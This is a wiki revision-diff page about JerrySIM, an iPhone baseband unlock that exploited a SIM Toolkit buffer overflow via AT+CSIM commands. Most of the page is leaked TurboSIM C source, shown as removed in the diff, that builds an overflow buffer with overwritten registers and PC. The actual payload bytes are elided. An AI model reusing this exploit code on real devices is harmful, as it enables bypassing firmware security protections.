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Difference between revisions of "JerrySIM"
ChronicDev (talk | contribs) (→Leaked Source) |
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| − | This was the |
+ | This was the [[iPhone Dev Team]]'s approach to unlocking [[Baseband Bootloader|Bootloader 4.6]]. |
| + | |||
| + | As noted during the [[25C3 presentation "Hacking the iPhone"|25C3 talk that the iPhone Dev Team members gave]], this exploit was actually never fixed in [[X-Gold 608]] baseband [[01.45.00]], only in the next rev, so they were able to use it as an injection vector for some of the earlier hacks that they did on the [[X-Gold 608]] (downgrading the baseband version to [[01.43.00]], backing up their [[seczone]], etc.) |
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==Credit== |
==Credit== |
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| + | [[iPhone Dev Team]] |
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| − | The dev team/elite team. |
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==Exploit== |
==Exploit== |
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| − | This relied on a buffer overflow in the STK. |
+ | This relied on a buffer overflow in the STK. The command AT+CSIM=XX caused an overflow that allowed the injection of an unlock exploit without jailbreaking |
| + | AT+CSIM=XX,"A0DC0104XXA53001..." |
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| − | |||
| − | ==Resources== |
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| − | [http://code.google.com/p/iphone-elite/wiki/JerrySim the elite wiki's page on the topic] |
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==Leaked Source== |
==Leaked Source== |
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===Note=== |
===Note=== |
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| − | Zibri removed it from the Google Code page, but the source is still easily available via google cache, or the fact that Google Code wiki pages are svn based and you can easily just look at an earlier rev :) |
+ | [[User:Zibri|Zibri]] removed it from the Google Code page, but the source is still easily available via google cache, or the fact that Google Code wiki pages are svn based and you can easily just look at an earlier rev :) |
On the page before the source got deleted, Zibri referred to it as C source, although by the looks of it he may have failed to realize that it is a payload meant to be run off of a TurboSIM |
On the page before the source got deleted, Zibri referred to it as C source, although by the looks of it he may have failed to realize that it is a payload meant to be run off of a TurboSIM |
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===Code=== |
===Code=== |
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| + | [http://code.google.com/p/iphone-elite/source/browse/wiki/JerrySim.wiki?r=581 link to code] |
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| − | <pre> |
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| − | /* |
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| − | Usage : send the exploit from OS level, using tty.debug/tty.baseband |
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| − | 1) Select SMS file |
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| − | AT+CSIM=7,"A0A40000027F10" |
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| − | AT+CSIM=7,"A0A40000026F3C" |
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| − | 2) Upload start registers if necessary |
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| − | R4, R5, R6, R7, PC swapped |
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| − | default R4=4, R5=5, R6=6, R7=7, PC=0xB00AC67C |
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| − | AT+CSIM=28,"A0DC0104174A5300..." |
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| − | 3) Upload the exploit |
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| − | AT+CSIM=XX,"A0DC0104XXA53001..." |
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| − | 4) Run (fixme stk call from tty) |
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| − | 5) Grab the crash result |
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| − | AT+XLOG=0 |
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| − | */ |
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| − | |||
| − | |||
| − | #include <config.h> |
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| − | #include <turbo/turbo.h> |
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| − | |||
| − | #include <stdlib.h> |
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| − | #include <string.h> |
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| − | |||
| − | #define VERSION "0.1" |
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| − | |||
| − | #define REGS_SIZE 20 |
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| − | #define MAX_PAYLOAD_SIZE 255 |
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| − | #define MAX_BLOCK_SIZE 50 |
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| − | |||
| − | u8 PROGMEM ef_sms_path[] = { 0x3f, 0x00, 0x7f, 0x10, 0x6f, 0x3c }; |
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| − | |||
| − | u8 PROGMEM ABOUT_1[] = "JerrySIM version "; |
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| − | u8 PROGMEM ABOUT_2[] = "\r\niPhone Dev Team/Elite Team internal release\r\nDO NOT LEAK"; |
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| − | u8 PROGMEM ABOUT_3[] = "\r\nWe still have to find a way to make money out of this!"; |
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| − | |||
| − | u8 PROGMEM DEFAULT_REGS[] = { 0x00, 0x04, 0x00, 0x00, |
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| − | 0x00, 0x05, 0x00, 0x00, |
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| − | 0x00, 0x06, 0x00, 0x00, |
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| − | 0x00, 0x07, 0x00, 0x00, |
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| − | 0xC6, 0x7C, 0xB0, 0x0A }; |
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| − | |||
| − | #define DEFAULT_OVERFLOW_TAG_SIZE 0xC0 |
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| − | |||
| − | static lc_char PROGMEM lc_JerrySIM[]={ |
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| − | LC_EN("JerrySIM") |
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| − | LC_END |
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| − | }; |
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| − | |||
| − | static lc_char PROGMEM lc_Run[]={ |
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| − | LC_EN("Run") |
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| − | LC_END |
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| − | }; |
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| − | |||
| − | static lc_char PROGMEM lc_Debug[]={ |
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| − | LC_EN("Debug") |
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| − | LC_END |
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| − | }; |
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| − | |||
| − | static lc_char PROGMEM lc_About[]={ |
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| − | LC_EN("About") |
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| − | LC_END |
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| − | }; |
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| − | |||
| − | typedef struct exploitDataStruct { |
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| − | u8 *regs; /* r4 r5 r6 r7 PC */ |
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| − | u8 *payload; |
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| − | u8 payloadSize; |
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| − | u8 padSize; |
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| − | } exploitDataStruct; |
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| − | |||
| − | |||
| − | exploitDataStruct *exploitData; |
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| − | u8 *preparedData; |
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| − | |||
| − | void display_hex(u8 *data, u8 dataSize) { |
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| − | u8 i; |
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| − | while (dataSize) { |
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| − | u8 *r = buf_B(); |
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| − | u8 blockSize = (dataSize < MAX_BLOCK_SIZE ? dataSize : MAX_BLOCK_SIZE); |
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| − | for (i=0; i<blockSize; i++) { |
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| − | u8 x = (data[i] >> 4) & 0x0f; |
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| − | if (x <= 9) { |
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| − | *r++ = x + '0'; |
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| − | } |
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| − | else { |
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| − | *r++ = x - 0xa + 'a'; |
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| − | } |
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| − | x = (data[i] & 0x0f); |
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| − | if (x <= 9) { |
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| − | *r++ = x + '0'; |
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| − | } |
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| − | else { |
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| − | *r++ = x - 0xa + 'a'; |
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| − | } |
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| − | } |
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| − | *r = '\0'; |
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| − | dataSize -= blockSize; |
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| − | data += blockSize; |
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| − | display_text_raw(buf_B(), Q_DISPLAY_TEXT_USER_CLEAR); |
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| − | } |
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| − | } |
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| − | |||
| − | u8 prepareData(); |
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| − | |||
| − | void go_payload(void *param) { |
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| − | u8 dataSize; |
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| − | dataSize = prepareData(); |
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| − | if (dataSize != 0) { |
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| − | stk_cmd(0x01, 0x01, 0x82, dataSize); |
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| − | } |
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| − | } |
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| − | |||
| − | |||
| − | void process_sms_file(File_apdu_data *fa) { |
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| − | if (fa->ins == ME_CMD_UPDATE_RECORD && fa->data[0] == 'J' && fa->data[1] == 'S' && |
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| − | (fa->data[2] == 0x00 || fa->data[2] == 0x01 || fa->data[2] == 0x02 || fa->data[2] == 0x03)) { |
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| − | switch(fa->data[2]) { |
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| − | case 0x00: |
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| − | /* Update registers */ |
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| − | if (fa->p3 != REGS_SIZE - 3) { |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0xF0; |
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| − | } |
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| − | else { |
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| − | memcpy(exploitData->regs, fa->data + 3, REGS_SIZE - 3); |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0x90; |
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| − | } |
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| − | break; |
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| − | case 0x01: |
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| − | /* Update payload */ |
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| − | if ((fa->p3 - 3 + 1 + 0x1C + REGS_SIZE) > exploitData->padSize) { |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0xF1; |
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| − | } |
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| − | else { |
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| − | exploitData->payloadSize = fa->p3 - 3; |
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| − | memcpy(exploitData->payload, fa->data + 3, exploitData->payloadSize); |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0x91; |
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| − | } |
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| − | break; |
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| − | case 0x02: |
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| − | /* Upload padding */ |
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| − | if (fa->p3 != 1 + 3) { |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0xF2; |
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| − | } |
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| − | else { |
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| − | exploitData->padSize = fa->data[3]; |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[1] = 0x92; |
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| − | } |
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| − | break; |
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| − | /* To be tested ! */ |
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| − | case 0x03: |
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| − | /* Go */ |
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| − | stk_thread(go_payload, NULL); |
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| − | fa->data[0] = 0x6F; |
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| − | fa->data[0] = 0x93; |
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| − | break; |
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| − | } |
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| − | } |
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| − | else { |
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| − | sim(fa->ins, fa->p1, fa->p2, fa->p3, fa->data); |
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| − | } |
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| − | } |
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| − | |||
| − | u8 prepareData() { |
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| − | u8 *cmdData = preparedData; |
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| − | u8 i, padSize; |
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| − | // Header |
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| − | *cmdData++ = 0x12; |
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| − | *cmdData++ = exploitData->padSize; |
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| − | *cmdData++ = 0x01; |
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| − | // Padding |
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| − | for (i=0; i<0x1C; i++) { |
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| − | *cmdData++ = i; |
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| − | } |
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| − | // Registers |
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| − | memcpy(cmdData, exploitData->regs, REGS_SIZE); |
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| − | cmdData += REGS_SIZE; |
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| − | // Payload |
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| − | memcpy(cmdData, exploitData->payload, exploitData->payloadSize); |
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| − | cmdData += exploitData->payloadSize; |
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| − | // Pad |
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| − | padSize = exploitData->padSize - 1 - 0x1C - REGS_SIZE - exploitData->payloadSize; |
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| − | for (i=0; i<padSize; i++) { |
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| − | *cmdData++ = 0x11; |
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| − | } |
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| − | return (cmdData - preparedData); |
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| − | } |
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| − | |||
| − | u8 do_run(SCtx *ctx, u8 action) { |
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| − | u8 dataSize, *res; |
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| − | if (action != APP_ENTER) |
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| − | return APP_OK; |
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| − | dataSize = prepareData(); |
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| − | if (dataSize != 0) { |
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| − | memcpy(buf_A(), preparedData, dataSize); |
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| − | res = stk_cmd(0x01, 0x01, 0x82, dataSize); |
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| − | /* Display beginning of TERMINAL RESPONSE for information only, should not happen if the exploit worked */ |
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| − | display_hex(res, 30); |
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| − | } |
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| − | return APP_OK; |
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| − | } |
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| − | |||
| − | u8 do_debug(SCtx *ctx, u8 action) { |
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| − | u8 dataSize; |
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| − | if (action != APP_ENTER) |
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| − | return APP_OK; |
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| − | dataSize = prepareData(); |
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| − | display_hex(preparedData, dataSize); |
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| − | return APP_OK; |
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| − | } |
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| − | |||
| − | u8 do_about(SCtx *ctx, u8 action) { |
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| − | u8 *aboutMsg = buf_B(); |
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| − | if (action != APP_ENTER) |
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| − | return APP_OK; |
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| − | aboutMsg = sprints(aboutMsg, ABOUT_1); |
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| − | aboutMsg = sprints(aboutMsg, VERSION); |
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| − | aboutMsg = sprints(aboutMsg, ABOUT_2); |
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| − | *aboutMsg = '\0'; |
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| − | display_text_raw(buf_B(), Q_DISPLAY_TEXT_USER_CLEAR); |
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| − | return APP_OK; |
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| − | } |
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| − | |||
| − | SNodeP main_n = { lc_JerrySIM, NULL }; |
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| − | SNodeP jerrysim_run_n = { lc_Run, do_run }; |
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| − | SNodeP jerrysim_debug_n = { lc_Debug, do_debug }; |
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| − | SNodeP jerrysim_about_n = { lc_About, do_about }; |
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| − | |||
| − | SEdgeP jerrysim_edges_p[] = { |
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| − | {&main_n, &jerrysim_run_n}, |
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| − | {&main_n, &jerrysim_debug_n}, |
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| − | {&main_n, &jerrysim_about_n}, |
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| − | NULL |
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| − | }; |
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| − | |||
| − | void action_menu (Menu_selection_data * x) |
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| − | { |
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| − | SCtx *c; |
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| − | |||
| − | c = spider_init(); |
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| − | c->eP = &jerrysim_edges_p; |
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| − | c->n = &main_n; |
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| − | spider(c); |
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| − | } |
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| − | void turbo_handler (u8 action, void *data) |
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| − | { |
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| − | switch (action) |
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| − | { |
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| − | case ACTION_APP_INIT: |
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| − | exploitData = malloc(sizeof(exploitDataStruct)); |
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| − | exploitData->regs = malloc(REGS_SIZE); |
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| − | exploitData->payload = malloc(MAX_PAYLOAD_SIZE); |
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| − | exploitData->payloadSize = 0; |
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| − | exploitData->padSize = DEFAULT_OVERFLOW_TAG_SIZE; |
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| − | memcpy(exploitData->regs, DEFAULT_REGS, REGS_SIZE); |
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| − | preparedData = malloc(MAX_PAYLOAD_SIZE); |
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| − | reg_file(ef_sms_path, 3); |
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| − | break; |
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| − | case ACTION_INSERT_MENU: |
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| − | insert_menu(locale (lc_JerrySIM)); |
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| − | break; |
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| − | case ACTION_MENU_SELECTION: |
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| − | stk_thread(action_menu, NULL); |
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| − | break; |
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| − | case ACTION_FILE_APDU: |
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| − | process_sms_file(data); |
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| − | default: |
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| − | break; |
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| − | } |
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| − | } |
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| − | </pre> |
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[[Category:Unlocking Methods]] |
[[Category:Unlocking Methods]] |
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| + | [[Category:Baseband Exploits]] |
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Latest revision as of 23:42, 22 January 2013
This was the iPhone Dev Team's approach to unlocking Bootloader 4.6.
As noted during the 25C3 talk that the iPhone Dev Team members gave, this exploit was actually never fixed in X-Gold 608 baseband 01.45.00, only in the next rev, so they were able to use it as an injection vector for some of the earlier hacks that they did on the X-Gold 608 (downgrading the baseband version to 01.43.00, backing up their seczone, etc.)
Contents
Credit
Exploit
This relied on a buffer overflow in the STK. The command AT+CSIM=XX caused an overflow that allowed the injection of an unlock exploit without jailbreaking
AT+CSIM=XX,"A0DC0104XXA53001..."
Leaked Source
Note
Zibri removed it from the Google Code page, but the source is still easily available via google cache, or the fact that Google Code wiki pages are svn based and you can easily just look at an earlier rev :)
On the page before the source got deleted, Zibri referred to it as C source, although by the looks of it he may have failed to realize that it is a payload meant to be run off of a TurboSIM
